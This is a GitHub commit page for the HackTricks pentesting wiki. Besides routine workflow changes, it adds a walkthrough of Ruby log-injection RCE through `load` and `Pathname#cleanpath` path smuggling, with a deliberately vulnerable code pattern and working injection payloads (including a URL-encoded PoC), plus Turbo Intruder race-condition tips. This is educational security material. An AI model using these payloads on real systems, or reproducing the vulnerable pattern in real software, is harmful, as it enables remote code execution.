Skip to content

Commit 1dfdae2

Browse files
committed
f
1 parent a96eb96 commit 1dfdae2

File tree

5 files changed

+106
-3
lines changed

5 files changed

+106
-3
lines changed

.github/workflows/auto_merge_approved_prs.yml

Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -26,6 +26,14 @@ jobs:
2626
git config --global user.email "[email protected]"
2727
git config --global user.name "GitHub Action"
2828
29+
- name: Install GitHub CLI
30+
run: |
31+
curl -fsSL https://cli.github.com/packages/githubcli-archive-keyring.gpg | sudo dd of=/usr/share/keyrings/githubcli-archive-keyring.gpg \
32+
&& sudo chmod go+r /usr/share/keyrings/githubcli-archive-keyring.gpg \
33+
&& echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/githubcli-archive-keyring.gpg] https://cli.github.com/packages stable main" | sudo tee /etc/apt/sources.list.d/github-cli.list > /dev/null \
34+
&& sudo apt update \
35+
&& sudo apt install gh -y
36+
2937
- name: Check for running workflows
3038
id: check_workflows
3139
run: |

.github/workflows/build_master.yml

Lines changed: 5 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -37,8 +37,11 @@ jobs:
3737

3838
- name: Install GitHub CLI
3939
run: |
40-
sudo apt-get update
41-
sudo apt-get install -y gh
40+
curl -fsSL https://cli.github.com/packages/githubcli-archive-keyring.gpg | sudo dd of=/usr/share/keyrings/githubcli-archive-keyring.gpg \
41+
&& sudo chmod go+r /usr/share/keyrings/githubcli-archive-keyring.gpg \
42+
&& echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/githubcli-archive-keyring.gpg] https://cli.github.com/packages stable main" | sudo tee /etc/apt/sources.list.d/github-cli.list > /dev/null \
43+
&& sudo apt update \
44+
&& sudo apt install gh -y
4245
4346
- name: Publish search index release asset
4447
shell: bash

.github/workflows/translate_all.yml

Lines changed: 7 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -65,7 +65,13 @@ jobs:
6565
- name: Update and download scripts
6666
run: |
6767
sudo apt-get update
68-
sudo apt-get install -y wget gh
68+
# Install GitHub CLI properly
69+
curl -fsSL https://cli.github.com/packages/githubcli-archive-keyring.gpg | sudo dd of=/usr/share/keyrings/githubcli-archive-keyring.gpg \
70+
&& sudo chmod go+r /usr/share/keyrings/githubcli-archive-keyring.gpg \
71+
&& echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/githubcli-archive-keyring.gpg] https://cli.github.com/packages stable main" | sudo tee /etc/apt/sources.list.d/github-cli.list > /dev/null \
72+
&& sudo apt update \
73+
&& sudo apt install gh -y \
74+
&& sudo apt-get install -y wget
6975
mkdir scripts
7076
cd scripts
7177
wget -O get_and_save_refs.py https://raw.githubusercontent.com/HackTricks-wiki/hacktricks-cloud/master/scripts/get_and_save_refs.py

src/network-services-pentesting/pentesting-web/ruby-tricks.md

Lines changed: 78 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -92,9 +92,87 @@ Notes:
9292
{{#endref}}
9393

9494

95+
## Log Injection → RCE via Ruby `load` and `Pathname.cleanpath` smuggling
96+
97+
When an app (often a simple Rack/Sinatra/Rails endpoint) both:
98+
- logs a user-controlled string verbatim, and
99+
- later `load`s a file whose path is derived from that same string (after `Pathname#cleanpath`),
100+
101+
You can often achieve remote code execution by poisoning the log and then coercing the app to `load` the log file. Key primitives:
102+
103+
- Ruby `load` evaluates the target file content as Ruby regardless of file extension. Any readable text file whose contents parse as Ruby will be executed.
104+
- `Pathname#cleanpath` collapses `.` and `..` segments without hitting the filesystem, enabling path smuggling: attacker-controlled junk can be prepended for logging while the cleaned path still resolves to the intended file to execute (e.g., `../logs/error.log`).
105+
106+
### Minimal vulnerable pattern
107+
108+
```ruby
109+
require 'logger'
110+
require 'pathname'
111+
112+
logger = Logger.new('logs/error.log')
113+
param = CGI.unescape(params[:script])
114+
path_obj = Pathname.new(param)
115+
116+
logger.info("Running backup script #{param}") # Raw log of user input
117+
load "scripts/#{path_obj.cleanpath}" # Executes file after cleanpath
118+
```
119+
120+
### Why the log can contain valid Ruby
121+
`Logger` writes prefix lines like:
122+
```
123+
I, [9/2/2025 #209384] INFO -- : Running backup script <USER_INPUT>
124+
```
125+
In Ruby, `#` starts a comment and `9/2/2025` is just arithmetic. To inject valid Ruby code you need to:
126+
- Begin your payload on a new line so it is not commented out by the `#` in the INFO line; send a leading newline (`\n` or `%0A`).
127+
- Close the dangling `[` introduced by the INFO line. A common trick is to start with `]` and optionally make the parser happy with `][0]=1`.
128+
- Then place arbitrary Ruby (e.g., `system(...)`).
129+
130+
Example of what will end up in the log after one request with a crafted param:
131+
```
132+
I, [9/2/2025 #209384] INFO -- : Running backup script
133+
][0]=1;system("touch /tmp/pwned")#://../../../../logs/error.log
134+
```
135+
136+
### Smuggling a single string that both logs code and resolves to the log path
137+
We want one attacker-controlled string that:
138+
- when logged raw, contains our Ruby payload, and
139+
- when passed through `Pathname.new(<input>).cleanpath`, resolves to `../logs/error.log` so the subsequent `load` executes the just-poisoned log file.
140+
141+
`Pathname#cleanpath` ignores schemes and collapses traversal components, so the following works:
142+
```ruby
143+
require 'pathname'
144+
145+
p = Pathname.new("\n][0]=1;system(\"touch /tmp/pwned\")#://../../../../logs/error.log")
146+
puts p.cleanpath # => ../logs/error.log
147+
```
148+
- The `#` before `://` ensures Ruby ignores the tail when the log is executed, while `cleanpath` still reduces the suffix to `../logs/error.log`.
149+
- The leading newline breaks out of the INFO line; `]` closes the dangling bracket; `][0]=1` satisfies the parser.
150+
151+
### End-to-end exploitation
152+
1. Send the following as the backup script name (URL-encode the first newline as `%0A` if needed):
153+
```
154+
\n][0]=1;system("id > /tmp/pwned")#://../../../../logs/error.log
155+
```
156+
2. The app logs your raw string into `logs/error.log`.
157+
3. The app computes `cleanpath` which resolves to `../logs/error.log` and calls `load` on it.
158+
4. Ruby executes the code you injected in the log.
159+
160+
To exfiltrate a file in a CTF-like environment:
161+
```
162+
\n][0]=1;f=Dir['/tmp/flag*.txt'][0];c=File.read(f);puts c#://../../../../logs/error.log
163+
```
164+
URL-encoded PoC (first char is a newline):
165+
```
166+
%0A%5D%5B0%5D%3D1%3Bf%3DDir%5B%27%2Ftmp%2Fflag%2A.txt%27%5D%5B0%5D%3Bc%3DFile.read(f)%3Bputs%20c%23%3A%2F%2F..%2F..%2F..%2F..%2Flogs%2Ferror.log
167+
```
95168

96169
## References
97170

98171
- Rails Security Announcement: CVE-2025-24293 Active Storage unsafe transformation methods (fixed in 7.1.5.2 / 7.2.2.2 / 8.0.2.1). https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670
99172
- GitHub Advisory: Rack::Static Local File Inclusion (CVE-2025-27610). https://github.com/advisories/GHSA-7wqh-767x-r66v
173+
- [Hardware Monitor Dojo-CTF #44: Log Injection to Ruby RCE (YesWeHack Dojo)](https://www.yeswehack.com/dojo/dojo-ctf-challenge-winners-44)
174+
- [Ruby Pathname.cleanpath docs](https://docs.ruby-lang.org/en/3.4/Pathname.html#method-i-cleanpath)
175+
- [Ruby Logger](https://ruby-doc.org/stdlib-2.5.1/libdoc/logger/rdoc/Logger.html)
176+
- [How Ruby load works](https://blog.appsignal.com/2023/04/19/how-to-load-code-in-ruby.html)
177+
100178
{{#include ../../banners/hacktricks-training.md}}

src/pentesting-web/race-condition.md

Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -223,6 +223,14 @@ while "objetivo" not in response.text:
223223
response = requests.get(url, verify=False)
224224
```
225225

226+
#### Turbo Intruder: engine and gating notes
227+
228+
- Engine selection: use `Engine.BURP2` on HTTP/2 targets to trigger the single‑packet attack; fall back to `Engine.THREADED` or `Engine.BURP` for HTTP/1.1 last‑byte sync.
229+
- `gate`/`openGate`: queue many copies with `gate='race1'` (or per‑attempt gates), which withholds the tail of each request; `openGate('race1')` flushes all tails together so they arrive nearly simultaneously.
230+
- Diagnostics: negative timestamps in Turbo Intruder indicate the server responded before the request was fully sent, proving overlap. This is expected in true races.
231+
- Connection warming: send a ping or a few harmless requests first to stabilise timings; optionally disable `TCP_NODELAY` to encourage batching of the final frames.
232+
233+
226234
### Improving Single Packet Attack
227235

228236
In the original research it's explained that this attack has a limit of 1,500 bytes. However, in [**this post**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/), it was explained how it's possible to extend the 1,500-byte limitation of the single packet attack to the **65,535 B window limitation of TCP by using IP layer fragmentation** (splitting a single packet into multiple IP packets) and sending them in different order, allowed to prevent reassembling the packet until all the fragments reached the server. This technique allowed the researcher to send 10,000 requests in about 166ms.

0 commit comments

Comments
 (0)